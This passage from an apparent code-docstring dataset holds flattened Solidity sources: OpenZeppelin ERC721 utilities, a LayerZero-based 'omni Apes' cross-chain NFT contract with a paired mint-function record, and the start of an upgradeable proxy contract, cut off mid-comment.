* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/NonblockingReceiver.sol
pragma solidity ^0.8.6;
abstract contract NonblockingReceiver is Ownable, ILayerZeroReceiver {
ILayerZeroEndpoint internal endpoint;
struct FailedMessages {
uint256 payloadLength;
bytes32 payloadHash;
}
mapping(uint16 => mapping(bytes => mapping(uint256 => FailedMessages)))
public failedMessages;
mapping(uint16 => bytes) public trustedRemoteLookup;
event MessageFailed(
uint16 _srcChainId,
bytes _srcAddress,
uint64 _nonce,
bytes _payload
);
function lzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) external override {
require(msg.sender == address(endpoint)); // boilerplate! lzReceive must be called by the endpoint for security
require(
_srcAddress.length == trustedRemoteLookup[_srcChainId].length &&
keccak256(_srcAddress) ==
keccak256(trustedRemoteLookup[_srcChainId]),
"NonblockingReceiver: invalid source sending contract"
);
// try-catch all errors/exceptions
// having failed messages does not block messages passing
try this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload) {
// do nothing
} catch {
// error / exception
failedMessages[_srcChainId][_srcAddress][_nonce] = FailedMessages(
_payload.length,
keccak256(_payload)
);
emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload);
}
}
function onLzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
// only internal transaction
require(
msg.sender == address(this),
"NonblockingReceiver: caller must be Bridge."
);
// handle incoming message
_LzReceive(_srcChainId, _srcAddress, _nonce, _payload);
}
// abstract function
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal virtual;
function _lzSend(
uint16 _dstChainId,
bytes memory _payload,
address payable _refundAddress,
address _zroPaymentAddress,
bytes memory _txParam
) internal {
endpoint.send{value: msg.value}(
_dstChainId,
trustedRemoteLookup[_dstChainId],
_payload,
_refundAddress,
_zroPaymentAddress,
_txParam
);
}
function retryMessage(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes calldata _payload
) external payable {
// assert there is message to retry
FailedMessages storage failedMsg = failedMessages[_srcChainId][
_srcAddress
][_nonce];
require(
failedMsg.payloadHash != bytes32(0),
"NonblockingReceiver: no stored message"
);
require(
_payload.length == failedMsg.payloadLength &&
keccak256(_payload) == failedMsg.payloadHash,
"LayerZero: invalid payload"
);
// clear the stored message
failedMsg.payloadLength = 0;
failedMsg.payloadHash = bytes32(0);
// execute the message. revert if it fails again
this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload);
}
function setTrustedRemote(uint16 _chainId, bytes calldata _trustedRemote)
external
onlyOwner
{
trustedRemoteLookup[_chainId] = _trustedRemote;
}
}
// File: contracts/oApes-eth.sol
pragma solidity ^0.8.7;
contract oApes is Ownable, ERC721, NonblockingReceiver {
address public _owner;
string private baseURI;
uint256 nextTokenId = 0;
uint256 MAX_MINT_ETHEREUM = 4000;
uint256 gasForDestinationLzReceive = 350000;
constructor(string memory baseURI_, address _layerZeroEndpoint)
ERC721("omni Apes", "oApes")
{
_owner = msg.sender;
endpoint = ILayerZeroEndpoint(_layerZeroEndpoint);
baseURI = baseURI_;
}
// mint function
// you can choose to mint 1 or 2
// mint is free, but payments are accepted
function mint(uint8 numTokens) external payable {
require(numTokens < 3, "omni Apes: Max 2 NFTs per transaction");
require(
nextTokenId + numTokens <= MAX_MINT_ETHEREUM,
"omni Apes: Mint exceeds supply"
);
_safeMint(msg.sender, ++nextTokenId);
if (numTokens == 2) {
_safeMint(msg.sender, ++nextTokenId);
}
}
// This function transfers the nft from your address on the
// source chain to the same address on the destination chain
function traverseChains(uint16 _chainId, uint256 tokenId) public payable {
require(
msg.sender == ownerOf(tokenId),
"You must own the token to traverse"
);
require(
trustedRemoteLookup[_chainId].length > 0,
"This chain is currently unavailable for travel"
);
// burn NFT, eliminating it from circulation on src chain
_burn(tokenId);
// abi.encode() the payload with the values to send
bytes memory payload = abi.encode(msg.sender, tokenId);
// encode adapterParams to specify more gas for the destination
uint16 version = 1;
bytes memory adapterParams = abi.encodePacked(
version,
gasForDestinationLzReceive
);
// get the fees we need to pay to LayerZero + Relayer to cover message delivery
// you will be refunded for extra gas paid
(uint256 messageFee, ) = endpoint.estimateFees(
_chainId,
address(this),
payload,
false,
adapterParams
);
require(
msg.value >= messageFee,
"omni Apes: msg.value not enough to cover messageFee. Send gas for message fees"
);
endpoint.send{value: msg.value}(
_chainId, // destination chainId
trustedRemoteLookup[_chainId], // destination address of nft contract
payload, // abi.encoded()'ed bytes
payable(msg.sender), // refund address
address(0x0), // 'zroPaymentAddress' unused for this
adapterParams // txParameters
);
}
function setBaseURI(string memory URI) external onlyOwner {
baseURI = URI;
}
function donate() external payable {
// thank you
}
// This allows the devs to receive kind donations
function withdraw(uint256 amt) external onlyOwner {
(bool sent, ) = payable(_owner).call{value: amt}("");
require(sent, "omni Apes: Failed to withdraw Ether");
}
// just in case this fixed variable limits us from future integrations
function setGasForDestinationLzReceive(uint256 newVal) external onlyOwner {
gasForDestinationLzReceive = newVal;
}
// ------------------
// Internal Functions
// ------------------
function _LzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) internal override {
// decode
(address toAddr, uint256 tokenId) = abi.decode(
_payload,
(address, uint256)
);
// mint the tokens back into existence on destination chain
_safeMint(toAddr, tokenId);
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
}
|
mint function you can choose to mint 1 or 2 mint is free, but payments are accepted
|
function mint(uint8 numTokens) external payable {
require(numTokens < 3, "omni Apes: Max 2 NFTs per transaction");
require(
nextTokenId + numTokens <= MAX_MINT_ETHEREUM,
"omni Apes: Mint exceeds supply"
);
_safeMint(msg.sender, ++nextTokenId);
if (numTokens == 2) {
_safeMint(msg.sender, ++nextTokenId);
}
}
| 15,069,941
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pragma solidity 0.4.24;
// File: contracts/upgradeability/EternalStorage.sol
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/upgradeability/UpgradeabilityOwnerStorage.sol
/**
* @title UpgradeabilityOwnerStorage
* @dev This contract keeps track of the upgradeability owner
*/
contract UpgradeabilityOwnerStorage {
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
// File: contracts/upgradeability/Proxy.sol
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize)
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
/*
*/
/*
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
*/
mstore(0x40, add(ptr, returndatasize))
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, returndatasize)
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 { revert(ptr, returndatasize) }
default { return(ptr, returndatasize) }
}
}
}
// File: contracts/upgradeability/UpgradeabilityStorage.sol
/**
* @title UpgradeabilityStorage
* @dev This contract holds all the necessary state variables to support the upgrade functionality
*/
contract UpgradeabilityStorage {
// Version name of the current implementation
uint256 internal _version;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the version name of the current implementation
* @return string representing the name of the current version
*/
function version() public view returns (uint256) {
return _version;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
// File: contracts/upgradeability/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy, UpgradeabilityStorage {
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param version representing the version name of the upgraded implementation
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(uint256 version, address indexed implementation);
/**
* @dev Upgrades the implementation address
* @param version representing the version name of the new implementation to be set
* @param implementation representing the address of the new implementation to be set
*/
function _upgradeTo(uint256 version, address implementation) internal {
require(_implementation != implementation);
require(version > _version);
_version = version;
_implementation = implementation;
emit Upgraded(version, implementation);
}
}
// File: contracts/upgradeability/OwnedUpgradeabilityProxy.sol
/**
* @title OwnedUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with basic authorization control functionalities
*/
contract OwnedUpgradeabilityProxy is UpgradeabilityOwnerStorage, UpgradeabilityProxy {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev the constructor sets the original owner of the contract to the sender account.
*/
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the proxy owner
